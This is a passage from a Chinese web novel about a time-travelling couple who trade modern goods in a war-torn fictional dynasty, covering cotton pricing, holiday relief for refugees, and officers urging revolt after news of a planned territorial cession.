“前几天他夫人和女儿不是都在生病吗?张莲月是肺炎,我给她用了药,她拖了十来天才好。姚琴是支气管炎,用了五天药就没事了。姚青山还在咱们的布庄里面买了不少棉布棉衣,我顺便探了探他的口风。” 袁博文立刻来了兴趣:“怎么样?他怎么说?” “我才开了头,他就接上了。”谢云溪想到这件事情就笑了,“他说咱们把棉布棉衣的价定低了,晋州和郴州既然已经开始在卖,不好涨价,但是其他地方可以重新定价,他还主动提出姚家布庄可以帮忙售卖咱们的棉布棉衣。” 袁博文也没想到姚青山会这么敏锐,一下子就看到了商机。 “他这个提议可以考虑。姚家在北地的布庄据我所知有七八家,贺州那边就有一家,不过这次我们过去,那边的布庄已经关门了。” “如果真按照姚青山所说的方法合作,这个价怎么定?还有利润分成……” 谢云溪笑着说:“这个你们去谈!我瞧着他像是在等你回来,也许明天他就会来找你了。” 棉布棉衣不管定价多少,他们都不会亏。棉布棉衣在两边世界的价差太大了。对于他们来说,这样倒卖,就是赚多赚少的问题。 而且,姚青山是个聪明人,以他们现如今的实力和地位,他不会耍花招,也不会狮子开大口。 “淼淼那边棉布棉衣买到的价,我一会儿给你。枫叶巷那边的织坊和晋州那边的绣纺也出来一批棉布棉衣,这次干脆也拿出来卖吧。” “这批纯手工出来的棉布棉衣与现代机器出品的棉布棉衣还是有些区别,价格上面恐怕不能定一样。” 袁博文还没有看到这里纯手工出来的棉布棉衣,但是他能想象到。现代机器碾出的粮食都比这里的粮食/精细很多,布帛这种东西肯定是有区别。 “行,我明天跟姚青山谈一谈。” “对了,还有件事情,马上就要过年了,我让淼淼买了一批棉衣和米粮,准备给铺子上、矿区那边和府里的人发点年货,东西我已经准备了。但是就这两样,是不是有点少?” 袁博文也知道年底发年货的惯例,“是一人一件棉衣吗?米粮呢?每个人多少?现在跟着咱们讨生活的人有多少?” “一千六百六十四人,包括码头那边威远镖局的贺师傅他们。” “棉衣呢,我打算发一人一件,尺码由他们自己提供。米粮则发粟米,一人五升。不过粟米只有铺子的人和矿区的人发。这两样加起来差不多二百出头。咱们身边的人不缺吃,粟米就不发了,直接发钱吧。想要什么,他们自己去买。” 袁博文想了想,两百元出头的年货是有点少。但除了这两样,还能发什么? 不能发油,油太贵,也不能发盐,这里对盐的管制很严。即便他们有,也不能随便拿出来。被发现私自贩盐,在大顺这里可是大罪。 “那就再发点钱吧,铺子上和矿区干活的人,年底这个月薪资翻倍!两边府里和商师傅他们则另外再说!” 谢云溪点头,袁博文的办法跟她想的一样。发钱其实最实在了,有了钱,想要什么就可以买什么。 袁博文想的更远。今年整个北地的日子都不好过,许多人家都没有熬下来,熬下来的人也过得很艰难。 他们如今不缺钱,光卖粮食和棉衣棉布就赚了不少。这些利润是北地的人们让他们赚到的。 都要过年了,让点利出来,让周围的人吃顿饱食,并不是一件难事。 “你觉得谢记粮行在年底搞一个打折销售的活动,怎么样?” 袁博文一开口,谢云溪就知道他想干什么了。 “你想怎么促销?是粮行所有的商品都打折吗?如果价格太低,对其他粮行可是个不小的打击。” 没有其他粮行,光靠谢记想要撑住郴州的供应,可不是一件简单的事情。郴州和晋州的体量完全不一样。 现在,又加了一个贺州。而且,贺州那边的情况看起来也不太好。 袁博文想了想。 “米糠打八折销售!其他米粮打九折销售!” 谢云溪点头。这个力度不大不小。米糠那是穷苦人家吃的,原本就不贵,打个八折,一些居无定所的流民都能买得起了。 米糠的也利润不大,一些粮行都没有售卖,所以米糠打八折对其他粮行基本上没有影响。 其他米粮打九折,也没有便宜多少,对其他粮行的冲击并不大。 而且只有三天的打折的活动,其他粮行即便受到了影响,也影响不大。 “我听说城外的流民也不少,城里的也有。要不要年节期间,开两个粥棚?你也说,要过年了,让他们也有口吃吧。” 袁博文点头:“我明天跟张时文说,粥棚的粮食,先让张时文在城里征集。如果不够,咱们再补出。” 他说着,想到了进城的时候看到的情景。排队进城的流民都快有一两里路。 为了保障郴州的稳定,府衙和巡防营对进城的流民审核的非常严格,只要身份有一点儿可疑的,都卡在外面,没有放进来。 他们拿下郴州后,一直都有流民进来,泗阳关破了后,流民更是陡然多了起来。在北凉治下的日子不好过,郴州既是北地第一重城,现在又是他们在管,北地许多人闻声而动,都在往这边过来。 这些人身强力壮的可不少,要是能收纳到军中,无疑能增强他们的实力。 自他们进郴州以来,军中的士兵已经补充了不少,如今各主将麾下兵力都已经过了八百,新兵营也陆续有人加入。 现在他们不缺钱了,再增加些兵力,也养的起。想要在眼下的乱世里有更多的话语权,实力自然是越强大越好。 第二天,袁博文就把袁归叫过来,让他先把棉衣和粟米这两种年货发放下来。又商量定下来冬月二十六,二十七,二十八谢记粮行三天打折销售活动。 袁归高兴说:“好,我马上让人把棉衣和粟米发下去。” 这件事情的风在统计尺码的时候已经在吹了,几个铺子的伙计天天翘首以盼了。虽然他们每个人都已经有一件棉衣,但是棉衣没人嫌多。家里父母兄妹好多都只有一件夹衣,冬天里,不到非不得已,连门都不敢出。 多出来一件棉衣无论给谁穿都可以,甚至有人都盘算着领到后,将里面的棉花取出来,改做成几件家里孩子能穿的棉衣。 棉衣和粟米被搬了出去。袁博文正要去找张时文商量粥棚事宜,姚青山找了过来。 袁博文让人上茶:“这几天我抽不开身,连府里都没有回来了,怠慢了!” 姚青山连忙说:“袁大人事务繁多,原是我们打扰了,这几天幸亏有袁夫人帮忙医治,莲月和琴儿才能康复,我实在感激不尽。” 他早就知道谢云溪所说的是托辞了,但是他一直装作不知道,就是想见袁博文一面。 直到昨天见到大批将士进城,他这才明白袁博文这些天不见踪影的原因是什么了。 那可是北地十六州之一的贺州,前几天袁子虚还坐在这里跟他谈笑风生,几天不见,人家就打下了贺州!贺州那里,可是驻守了不少北凉骑兵。 郴州商会陈会长等人对袁博文惧怕,他一直不以为然,昨天做实惊了一下,也立刻明白,他是不知者不畏惧。 想着自己心里那些算计,姚青山有些胆寒了。 袁博文淡淡笑着:“琴儿她们没事就好。我听云溪说,你前些时候在谢记的铺子里买了不少东西。那谢记是云溪名下的铺子,你以后过去,提前说一声,看上了什么,只管跟铺子里的伙计说。” 姚青山连忙说:“怎么能行?是我看到布庄的东西,实在是好,这才忍不住买下。袁大人和夫人眼光实在是好,这棉花和棉布属实是好东西啊。” 袁博文笑着点头:“我们当时看到棉花棉布,也跟你的想法一样,所以连种子都带过来。我听云溪说,你觉得我们的棉布定价低了,是吗?” 姚青山不敢抬头,但是有些事情已经在他心里盘算了多日:“这棉布丝毫不逊色寻常绸布,尤其做成棉衣,暖和舒适。绸布在那边,最寻常都要□□两左右一匹,运到北地,至少十两银子一匹。谢记的棉布才定四两银子一匹……属实低了些。哪怕翻一番,这个价也不算高的。” “我们对这些不太了解,初始定价并没有多想,就比着麻布和葛布来了。现在郴州和晋州已经再卖了,不好再涨价。其他地方,还没有开始卖,云溪说,你名下的铺子可以帮忙售卖,是吗?那这个价,该定多少?” 袁博文说着,看着姚青山,一副虚心求教的样子。 姚青山早就想过这个问题,话脱口而出,“六到八两银子一匹,完全没问题。我姚家在北地的布庄都可以售卖!” “棉衣呢?”袁博文又问。 “棉衣的价也低了些。” 姚青山讲了眼下保暖防寒几种方式。貂裘皮草等之类最好,但也最贵,一般人家根本买不起,其他几种都没有棉衣好,他建议棉衣在原价再加一到二两银子。 袁博文看着姚青山,心里虽然对他报出价格很吃惊,但是也知道他说的是实情。这里的人们,冬天确实过得很难,许多人一到冬天,干脆就不出门了。 但是今年不一样,到处都在打仗,不出门有可能就死了。北凉进城,可不管那么多,能抢的全抢了,他们杀人可不会废话。 现在南边的西宁都已经沦陷了,最终打成什么样子,谁也说不好。但是粮价和布帛的价格绝对会涨。 以前二三十文一升的米粮,到了战时,翻两三番都不稀奇。布帛涨起来虽然没有粮食那么凶,但是按照以往的行情,铁板钉钉一定涨。 “那棉衣就各涨一两银子吧!”袁博文拍板定下了。 在原价的基础上涨一两银子,相当于他们的利润又多了两千元左右。 “棉布棉衣在姚家布庄出售,我们谢记每匹让利八钱银子,棉衣一件让利五钱银子。姚掌柜,意下如何?”袁博文笑着问。 姚青山愣了一下:“这如何能行?这让利太多了!” 他提出姚家帮忙售卖棉布棉衣,是想跟着袁府喝一口汤的,但昨天他已经不打算喝这口了,只要能跟袁府打好关系,就已经很好了。 郴州商会的那些人,包括会长,就在想方设法跟袁府搭上边,搞好关系,他以前不以为然。现在再不醒悟,那就是蠢了。 要是让商会的那些人知道袁府准备拿出棉衣棉布在其他地方售卖,一定会挤破了头,不要一点儿好处就接下了这件事情。 袁博文笑着说:“我也不能让你白忙一场。这件事情就这么定了。谢记布庄的掌柜现在是袁归,你也认识他,你要多少货,具体怎么做,你们商量。” 姚青山推了一会没推掉,只得答应了。 一匹棉布能得八钱的利,这跟南边那边的行情一样了。这个让利当然不是随口喊出来的。 他背心又出了一点冷汗。 袁博文又说:“我听说姚家在贺州那边有一家铺子,是吗?” “是有一家布庄,不过北凉人进城之后,那铺子就关了。” 袁博文看着姚青山,“姚掌柜,我这儿有件事情,还想请你帮个忙。” 姚青山吓了一跳。“袁大人,您快别这么说,有什么事要我去做,只要是我能够做到,必会竭尽全力。” 袁博文笑着说:“也不是什么大事,贺州的北凉人现在没有了,那边的姚家布庄能不能暂时卖些粮食?” “年底了,我们谢记粮行准备在郴州和晋州进行三天的促销活动。你们姚家在贺州的粮行能不能同时同步?” 姚青山顿了顿。 谢记粮行年底促销?姚家粮行同时同步?这年头的粮食可不好进来,跟谢记粮行同时同步,这不是要亏吗?郴州城内,谁的底气有谢记这么足?如果促销力度太大,姚家再有钱,也不敢接。 “当然,我也知道眼下米粮的行情,粮商们买到手的价也不低,让姚家粮行跟谢记同步,是强人所难。不过,姚家粮行在贺州促销三天的粮食由我们谢记来承当。你看,这样行不行?” 姚青山愣住了。 袁博文感慨说:“这年头大家的日子都不好过啊!眼下要过年了,米粮便宜一点售卖,让大家吃上口热的,过个年吧。” 姚青山一时间觉得喉咙有些堵了,连忙起身作揖行了个礼:“袁大人一心为民,姚家粮行能够跟谢记粮行同步一起,这是姚家粮行的福气。三天同步促销,姚家必定做好。米粮无需谢记承担!” 袁博文扶了姚青山一把,笑着说:“我知道姚家也不容易,你们能出铺子和人手就可以了。米粮还是谢记来出。贺州那边的情况跟郴州这边不一样。姚掌柜想要这几天就把粮行开起来,最好先去那边看看。” 拿下贺州后,袁博文虽然只在那里呆了一天,但感觉到那里的情况远不如郴州,整座城池没多少生气,流民倒是不少,姚家粮行这波促销,估计要拿出不少米糠。 粟米和黍米在现代卖四元左右一斤,但是米糠的价并不比这两种便宜多少,米糠的利润是所有粮食最低的。 第124章 第124章 年关 姚青山默默点了点头。 袁博文站起来要走了, 姚青山突然叫住了他。 袁博文疑惑看向姚青山。 姚青山舔着脸笑着,不敢抬头。他刚才是情急之下出声。属实是问题在心里埋了太久,太想知道答案了。 “大人, 我前几日去了一趟晋州, 看到晋州的谢记粮行有一种过滤壶售卖, 属实是好东西……但郴州这边的谢记粮行并没有, 不知道这东西,贺州能不能售卖?” 袁博文笑了:“这种过滤壶也是我们从海外带过来的, 东西不多,若不是晋州那边遇到了北凉投毒事件,我们也不会拿出来。现在差不多快卖完了。” 姚青山愣了愣,一脸遗憾。 前几天, 他家的小厮终于买到了车票,他去了一趟晋州。被城里景象惊到了, 没想到如今的北地还有这样繁荣的小城。 城内人流如织,欣欣向荣。许多人家门口或旁边搭着轻薄的油布棚子,棚子里面种着绿油油的小菜。城里的米粮比郴州便宜了许多,米糠仅售十二文钱一升, 许多流民都在排队购买,更有一些粮商在抢购粟米和黍米等。 他也看到一直想见的过滤壶,并且买到一个带回来。这几天一直在用。属实是好东西。用了过滤壶过滤的水,不仅口感更好,那烧水的壶里也不见一点水垢。 张莲月也赞不绝口。 一两银子一个, 还送四个过滤芯。那壶是个整体, 也不知道是什么东西做的。他看出来起过滤作用就是那过滤芯。为了弄明白,就把过滤芯拆了一个,里面是一些白色和黑色的颗粒。他不认识。找了几个人过来, 都没看明白。外面那壳一样也不知道是什么做成的。 研究了几天,一点儿头绪都没有。 今日实在是忍不住了,这才找袁博文问。 不料,却是这么个结果! 这么好的东西,居然没有了?! “姚掌柜,还有问题吗?”袁博文仔细看着姚青山。 姚青山连忙回魂:“没有了!没有了!” 袁博文告罪一声,转身离开了。上了门口停着的车,他看着车窗外面许多驻足观看的人,陷入了沉思中。 晚上回来,袁博文把跟姚青山谈好的事情告诉谢云溪。 谢云溪说:“姚青山这人头脑灵活,胆子也大,看到商机马上抓住。难怪姚家的生意能够做这么大了。” 袁博文静静想了一会儿,又说:“他还问了过滤壶的事情。” 谢云溪愣了愣,点头:“他前几天去了一趟晋州……他不会是也想做过滤壶的生意吧?” 袁博文点头。 “这个怕是不行吧?过滤壶,那都是塑料呢!” “所以,我跟他说,过滤壶快卖了!” “这些东西在这里造不出来,咱们拿出来了,面对疑惑,总往海外扯……” 袁博文摇头。 谢云溪想了想。他们拿出来的这些东西,都是情急之下的迫不得已。一些寻常百姓或许好糊弄,但总有一些人会打破砂锅探究到底。一句海外所得,恐怕打发不了他们。 “前几天我跟淼淼聊天,她跟我说起了从西方世界开始的工业革命,第一次工业革命就是从蒸汽机和珍妮纺纱机开始的……” “这珍妮纺纱机,我们有了,这里的工匠应该也能做出来,那蒸汽机……这里能不能制造出来吗?” 袁博文心里一动,看向谢云溪。 谢云溪笑着说:“我是胡乱想的,现在的科技不就是从几次工业革命开始的吗?在此之前,西方跟这里应该没有多大区别吧?都是农业社会。既然他们是这样发展起来的,这边是不是也可以试一试?咱们有淼淼帮忙,应该要不了多长时间吧?” 袁博文的眼睛亮了,想了想,点头。 很快就到了跟袁淼见面的时间。 袁淼看到镜子里面的袁博文很高兴:“爸,你这些天都在忙什么?” 袁博文笑着说:“爸爸出了一趟远门。” 袁淼知道父母有事瞒着自己,她毫不客气揭穿:“你们又再骗我!这十几天肯定不是出远门这么简单!你们越这样,我越担心!” 袁博文陪着笑。谢云溪笑着说:“你爸爸确实出去了一趟,他们这些天去了贺州,贺州在郴州的东边,也是北地十六州之一,他们打下了那里。” 袁淼心里一紧,连忙问:“顺利吗?没有人受伤吧?为什么突然要打贺州?” 话一出口,她就想收回来。拿下一座城池,怎么可能没有伤亡? 袁博文笑着说:“这场战很顺利,伤亡也不大。” 至于为什么要打贺州,他忽略过去,并没有回答。 袁淼松了一口气:“以后有事,你们不要瞒着我了!你们越这样,我越担心!” 她发现父母有时候还是把她当小孩一样。一些事情,不到最后,都不告诉她。 袁博文连声说好,谢云溪也做了承诺。 袁淼的气消了一些,又问:“爸,你们为什么要打贺州?贺州那边情况怎么样?” 瞒不住了。袁博文把贺州的情况简单说了一遍,也告诉袁淼,他们之所以拿下贺州,也是因为局势变化。 现在南边打起来了,他们要趁机争取更多的说话权。跟在北凉人后面打不妥,朝廷那边有一个霍云泽在,他们不可能拿到好处,所以,他选择自己打自己的,另开一局。 袁淼听了,心情也激荡起来。她虽然知道北地十六州的面积不小,但是没有看过地图,对于到底有多大,各州县处于什么位置,也没有印象。不过,这些并不妨碍她对乱世的理解。 乱世纷争,靠的就是实力说话。谁的实力强,最后无疑也能得到最多。 “爸爸,你们想做什么,我都支持!但是,你们一定要让我知道!” 袁博文又连声说好,看到袁淼气消了,他又说:“淼淼,你找些西方近代史的书籍传过来我看看,尤其工业革命和发展的书籍。” 袁淼答应了:“爸,你不会是想复制西方世界工业革命的道路吧?” 袁博文笑了:“拿来主义不能持久。不过西方世界工业革命历经的年代不短,我们即便是想复制,时间上也不容许。你先找些书籍我看看。” 完全复制不可能,但是可以借鉴。 先前他们觉得留在这里的可能性不大,所以遇到问题,几乎都采取了简单粗暴的办法解决。 北凉围城,他们就让女儿传了连/珠/弩过来。泗水河有毒,就把现代的净水设备等弄了过来。关正一死,北凉大军要来了。他们又拿出现代化军/械机器等。 但是,现在形势变了,南边打起来,也不知道会打成了什么样,说不定他们会这里呆上好几年。那就不能再像先前那样了,得往长远里想了。 他也得收敛收敛了。 好在他们从现代拿过来的东西,在这里被广为流传的不多。 一个过滤器,知道的人不多,泗水河的毒经过检测,已经测量不到毒素后,他们就停止了使用,机器现在就在晋州那边码头旁边的宅子里。 那边的宅子里还有几辆车,和一些现代化军械等。商远和威远镖局的人一直住在那里,那里还有一队护卫。 这些人都信得过。 过滤壶不能卖了,姚青山绝对不是第一个对这个感兴趣的商人,好在这里的人现在应该绝对造不塑料制品。 那过滤芯里面是一些活性炭和离子交换树脂等,估计他们也认不出来。 卖出去的并不多,一句海外带过来完全可以遮掩,如果真有人跑到他面前打破砂锅问到底,到时候他再捏造个地方。 现代化军械,已经威名在外了。 这次打贺州,他准备充分,结果才炮轰了几下,贺州城里就没多少动静了,进城清扫的时候,城内的北凉驻兵见到他们,脸色都变了,不再像以前一样猛冲猛干了,而是调头就跑。 这次反而是骑射营和长枪营的人立了大功。 对现代化军械感兴趣的人一定不少。好在他对这一块一直管理的很严,整个神器营的人几乎都出自晋州,而且知根知底,大多数都是他一手带出来的人。 军中其他营将士几乎都没有摸过现代化军械,外面的人更是不用说了,连打听都受到了限制。 先前拿出去的发电机等也都收了回来,放在了神/器营专属的仓房里面。 神/器营现在在外面的形象是神秘且异常强大,这也是一种威慑,压住了一些蠢蠢欲动的人。 但是车辆就有点麻烦了,尤其开通的班车,对晋州和郴州的影响很大,府衙的人肯定不愿意停下来。 停不下来,那就得让人知道这东西是怎么来的。 工业革命,蒸汽机,蒸汽火车,现代燃油车,这个跨越有点大。 不过,他们的背后不仅仅有一整套工业革命发展的经过,还有无数后来人总结的经验。 也许可以在并不长的时间内在这里生产出汽车来。 袁淼也想到了同样的问题:“我前几天还跟妈妈说,你们的织坊和绣纺可以合并,改成工厂模式。” 袁博文点头:“这个是可以试一试。不过,最好等棉花在这里种出来之后再开始。” 棉花种出来之后,原材料的问题就解决了。 纺纱机和织布可以在现在的基础做一些改进,这些都有原件可以参考。 至于工人,现在北地这里流离失所的人太多了,只要给口吃的,会有数不清的人过来。工人不用担心。 “我昨天听你妈说,矿业公司那边第一批提纯的金子已经出来了?怎么样?纯度是多少?” 说到这个,袁淼就笑了:“99%,足金。已经有提纯出来了二十多斤黄金!” 二十多斤黄金,那就是五百多万,不到一个月的时间! “现代矿石提纯工艺确实先进!”袁博文感慨,“矿业公司那边的矿石现在还有多少?” “差不多还有四五千吨的样子。” 那就是还能出一百多斤黄金! 金矿开采,确实来钱快! 袁博文想到今天在矿区看到的矿石,“我今天去矿区那边看了看,目前那边已经又开采出来了差不多六七百吨的矿石,等再积累一些后,我一起传给你。” “不着急!”袁淼笑着,“矿业公司那边现在的矿石至少好几个月才能提纯完成。” 传过来的矿石含金量很高,整个矿业公司气氛都不一样了。员工们都在说,即便是代工,矿业公司这一波也能赚不少。 大概是她给大家带来了希望,公司的员工对她的态度也发生了很大变化,由先前的怀疑,到现在尊敬了许多。 跟袁淼说完话后的第二天,袁博文就去晋州,他先到了粮行,粮行里面正在发放年货,几个铺子的员工代表都过来了,看着院子里堆放的米粮和棉衣,每个人脸上都带着笑。 袁归主持发放,先叫了谢记当铺的掌柜。 “于掌柜,当铺一共是十二人,每人一件棉衣,五升粟米,东西都这儿。” 于掌柜有些年岁了,身上穿着的夹衣还是去年的,过来的时候,脸上都笑开花。签了字,就去摸棉衣,一边摸,一边点头:“这棉衣好!这棉衣好!” 跟他一起来的伙计早就眼馋上了,他身上穿的夹衣还是前年的,年轻人,长个儿快,现在他手腕都露了一大截出来,手上都是冻疮。 他要摸棉衣,被于掌柜拍了一下手,他笑着说:“掌柜的,我的棉衣能不能先拿?” 于掌柜回头伙计一眼,见他的脸都有些青紫了,点头许了。 “拿吧!” 他让伙计报了尺码后,抽了一件棉衣出来,递给伙计。 伙计立马穿上了。院子里其他人都看着,眼睛都有些直了。 “这棉衣真好!看着就暖和!” “那是!我们谢记的东西就没有不好的!” “这棉衣在布庄可是要二三两银子呢!” 袁博文在影壁那儿看到这一幕,轻咳了一声,袁归听到动静回头,见到是袁博文,连忙过来了:“老爷!” 其他人也纷纷招呼上了。 袁博文看了看发放的年货。粟米跟粮行卖的一样,棉衣蓬松柔软,一摸就知道里面的棉花不少。应该是妻子和女儿特意交待过,做的很厚实。 他问穿上新棉衣的伙计:“怎么样?暖不暖和?” 伙计连连点头:“暖和!很暖和!” 袁博文笑了,拍了拍伙计的肩膀,让袁归把手头上的事情交给其他人,两人一起来的粮行的仓库。 “过滤壶还有多少?” 袁归回话:“不多了!老爷,我正要跟您和夫人说,郴州那边许多人专程过来购买过滤壶。那边的粮行要不要也开始售卖过滤壶?” 袁博文摇头:“不用了,把这边剩下的也全部收起来,以后都不卖了。若是有人问起,你们就说,已经卖完了。如果有人觉得手中的过滤壶没有了过滤芯成了废物,谢记粮行可以回收。回收的价格壶和已经用过的过滤芯都是一钱银子。” 袁归一句话都没有问,应下来了。 袁博文又去了码头那边的宅子。把过滤器传给了袁淼。 谢记粮行的促销活动提前好几天就挂出了告示。到了活动的当天,粮行门口排起长队,许多流民连夜就开始排队了。粟米和黍米他们买不起,但是十文钱一升的米糠问题不大,大不了几家人一起购买。 一升米糠可以让一家五六口人吃上好几天了!往年的米糠都比这个价高了! 谢记粮行也料到了购买米糠的人会有不少,单独支出了一个摊面。有买到的流民开袋看了一眼。袋子里面的米糠一点儿霉味都没有,反而散发着一股米粮的清香。肉眼可见米多糠少。 他忍不住抓了一把出来,周围的人许多都看到了。 “这米糠真不错!” “那是!你们也不看看谢记的东家是谁!” 有人问,有人答,袁大人几个字很快就在人群里传开了。 第125章 第125章 反了 念荟把在街上看到的这一幕告诉了谢云溪。 谢云溪笑了, 心里却在感慨,在现代喂鸡喂鸭的米糠在这里都是好东西了,十文钱一升售卖, 还都在说便宜, 这个价换成人民币, 那也是二十元左右了。 一升也就三斤多一点, 三斤多的米糠卖二十多元,他们赚得不多, 但也在赚。 这里的粮食产量太低了,局势又不好,人活得还没有现代的牲畜好。宁做太平犬,不做乱世人啊。 她把整理好的红包给念荟:“明天军中有一趟车去晋州, 这是晋州那边府里和码头那边宅子里的红包,你带过去分给他们, 一人一个,上面都有名字。” 念荟接过了,笑吟吟曲了曲身:“我替他们谢过老爷夫人了!” 谢云溪笑着摆手,又交待了一些事情。过年了, 既要开心,也要安全,两边府里都一样。念荟应了下来。 转眼年过去了,初八这天大太阳出来了,郴州城内人流如织, 袁博文换了装束陪着谢云溪也在其中, 两人在一众护卫暗中拥簇在街上转了一会儿,又上了城墙。 北地的初春依旧一片荒凉,苍茫茫大地看不到一点儿绿色, 城外的流民排队进城连绵了数百米,北风呼呼吹来。谢云溪一时间有些恍惚,去年逃难时,他们也跟城下的流民们差不多,不过后来,他们却去了晋州。时局变迁,最终还是来到郴州。 念荟眼尖,低声说:“夫人快看,那边是不是有车过来了?” 袁博文也看到了,他皱了皱眉。这时候有车过来,可不是什么好兆头。 果然,没一会儿,亲卫队长连虎过来了。军中有紧急军务。 谢云溪笑着说:“你去忙吧!我一会儿就回去。” 袁博文有些愧疚,谢云溪整个孕期,他陪伴在身边的时间不多。尤其来到郴州之后,几乎每天都在早出晚归,一连出去大半个月的情况也有。 好不容易逢了过年,今天才陪着逛了一会街,事情又来了。 他替谢云溪拢了拢斗篷:“我先去看看,如果事情不要紧,我一会儿就回来了。” 谢云溪点头。袁博文走了。但谢云溪在郴州城墙上走了一个多小时,袁博文也没有回来。她于是明白了,一定是又出了大事。 谢云溪不再等了,回到府衙,心里也安定不下来,但是袁博文直至转钟也没有回来。她熬不住了。 睡了一会,迷迷糊糊中感觉旁边多了一个人。转过身,看到是袁博文,谢云溪的睡意没了。 “怎么这么晚了才回来?军中出了什么事情吗?” 袁博文的手伸了过来,一片冰凉,眼睛睁着:“云溪,朝廷要和谈了。” 谢云溪吃了一惊。 袁博文的脸和他的手一样冰凉,鬓角的头发结上了霜花,唯有呼出的气有些温度:“贺师傅回来了,他把信送到了。岭南关家的关轩给我们写了一封信,说朝廷要和北凉和谈了,准备将北地十六州割让给北凉……” 谢云溪怀疑自己听错了:“割让北地十六州?” 袁博文点头:“除此之外,应该还会有一些赔款……”他顿了顿,“关轩说,北凉的使者提到了我,我也在朝廷和北凉和谈内容之中。” 谢云溪喘不过气来了。 关正过世后,庄静给岭南关家去了一封信。关家是岭南一带的世家大族,如今的家主正是关正嫡亲的兄长关轩。 袁博文也想跟关家搞好关系,便把关正去世的实情写在信里,让威远镖局的贺师傅他们一并送去了岭南关家。 时隔两个多月,关家的回信居然是这个! 朝廷要和谈,而他们居然也成了北凉和大顺和谈的筹码! 谢云溪一把回握住了袁博文的手:“我们离开这里!海边的那艘游轮我已经会开!有念荟和天凤她们帮忙就可以了!” 袁博文紧了紧谢云溪的手,默默看着顶上。 他看到岭南关家的回信时,反应并不比谢云溪冷静。 他也没想到朝廷会在这个时候和谈。两国之间战起,会有和谈,这并不是一件稀罕事儿。边打边谈,都是常有的事情。他只是没想到会来得这么快。 北凉大军南下仅仅一个多月,大顺居然要和谈了!而且还要割让北地十六州!而他居然也上了两国的谈判桌! 北地十六州!差不多是大顺王朝四分之一的国土面积了,这里虽然远不如江陵一带繁荣昌盛,但矿产资源丰富。民众也有数百万。就这么割让给北凉?! 北凉大军攻陷了西宁之后,虽然推进的速度不慢,但沿途也遇到了许多抵抗。而且,各路的勤王军队也在聚集。朝廷居然这么快就怂下来了!要割地赔款了?! 至于他……关轩在信中语焉不详,只是说北凉的使者提到了他,至于大顺朝廷怎么处理,关轩并没有提及。 但他能想到朝廷的答案。 他们连北地十六州都准备割让了,他又算个什么东西? 既不是举足轻重的勋贵,也不是根深叶茂的世家出身。一个小小北地举子,许是有些奇才,但与兵临城下的危机相比,根本不值一提。 北凉的使者提到他。能说什么好话?无非是对他这个人又爱又恨,既想要他拿出来的那些好东西,又恨他在北地这边一再坏他们的好事。 他落到了北凉人手中,能有什么好结果? 他看到信时,差点都想掀桌了。努力挣扎了这么久,原来也不过是权贵们的盘中餐! “我把这件事情跟各营的主将们说了。” 谢云溪心里悲凉且震动,但也知道此刻最难受的人是袁博文。她握着袁博文的手问:“他们怎么说?” 袁博文回想今天营帐里的一幕。 他看完信后,一个人坐了良久,想到了早已准备好的船,心里渐渐平静了下来。让谷雨把各营的主将们都叫了过来。 大过年的,主将们进来的时候脸上还带着喜气。 外面的日子都不好过,但他却挣了些钱,对这些跟着自己一路搏杀过来的人,他在年前也大方了一回。 “大人,今日叫我们过来,是有何事?”黄峥一向沉不住气。 他看了黄峥一眼,黄峥脸上的笑渐渐有些谄媚。上次拿下贺州时,骑射营立了大功,也因此封赏最多。 “我刚得了信,朝廷要和谈了,准备割让北地十六州给北凉。” 黄峥愣了一下,怀疑自己听错了:“什么?朝廷要和谈?准备割让北地十六州?” 他点头:“信是岭南关家的家主所写,应是确证无疑。” 主将们面面相觑,脸色全都变了。 黄峥破口大骂:“我艹ni妈的!老/子们在这儿拼死拼活,朝廷的那帮王八蛋竟然要割让北地十六州?!他/妈/的!这些王/八/蛋平日里一个个耀武扬威,到了这个时候,竟然要卖了老/子们!” “是谁要和谈的?要叫老子知道,定然不会轻饶了他!” 主将们好几个都是北地本地人,此刻脸色尤其难看,就连一向沉稳的轻步兵营主将也一脸忿忿不平,猛然拍了一下茶几:“这么大的事情,还能是谁定下的?” 黄峥也想到了,气得呼吸都不通畅了,一脚踢翻旁边凳子。 斥候营的主将严云枫也骂了起来:“他/妈/的,这些王/八/蛋把老子当什么了?说卖就卖了!他们一句话,北地多少人得家破人亡!” 割让的土地,原住民怎么安置,这些也都是有先例的。条件好的,举家往内地迁移。但大多数人家都会留下来,毕竟根在这里。留下来的这些人在异族的统治下,日子可想而知了。 举家往内地迁移的,没有了根,那日子也不会好到哪里去。 至于他们这些军中的人,结果只有可能会更惨。北凉一路南下,对反抗激烈的,杀戳也最狠。郴州遭遇屠城,也是因为这里抵抗了好几天。 他们要杀鸡儆猴! 但论北凉在哪里吃的亏最多,毫无疑问,就是在他们的手上。 大家都有家小,基本上都是北地本地人,且大多数都是晋州人,家小亲戚朋友,也几乎都在晋州。 若是晋州落到北凉人的治下,结果可想而知。 江虎突然站了起来:“干脆反了算了!朝廷不把咱们当人,这么轻易就把咱们卖了!不顾咱们死活!咱们不听他们的!自己干!反正都是死!豁出去了,干他/娘的一把!” 主将们都看向了江虎。袁博文也吃了一惊,他没想到,平日里看起来温吞吞的江虎居然说了这么一番话。但很显然,他的话让很多人都心动了。 黄峥眼睛都亮了:“对!干脆反了!干/他/娘的一把!” 一向不怎么吭声的霍小北看了袁博文一眼,也站了起来:“朝廷不管咱们,咱们落到北凉人手上,绝对都活不成!既然如此,干脆反了!我看那些北凉人也不过如此!咱们跟着袁大人,未必干不出一番事儿来!” 他的话让许多人都看向了袁博文,众人眼睛里的光也越发明亮了。 这些日子以来,他们无数次陷入绝境,都是上面坐着的人带着他们走出来。如今的他们不仅突破了北凉骑兵的困守,还拿下郴州和贺州,在北地这里已经站稳了脚跟。 凭什么让出去? 北凉一路南下,朝廷并没有往晋州派一兵一卒支援,如今一句话,就想定他们的生死吗? 凭什么? 北凉骑兵的厉害,他们又不是没有领教过!怕什么?上面坐着的人已经带着他们在北地这里站稳了脚跟!朝廷不要他们了!他们自己干!跟着上面坐着的人,未必拼不出一番前程来! 轻步兵营主将的脸色已经好多了,但眼睛里的火已经烧了起来,频频看袁博文,一会后,欠了欠身,恭敬说道:“大人,您说句话,该怎么做?大家都听您的!” 营帐中的喧闹瞬间平息了,看过来的眸子各个炙热。 袁博文有点懵了,他把主将们叫过来,是想让他们心里有数,早做打算。 他在海边有一艘船,这些天妻子一直在摸索,他也到船上看过几次,自认学几天,应该问题不大。船也并不大,只能乘坐两三百人,但是他要再买,也是一两天的事情。 关家来信,说朝廷已经打算和谈,他毫不怀疑这件事情的真实性。关正的死,岭南关家肯定也很生气。 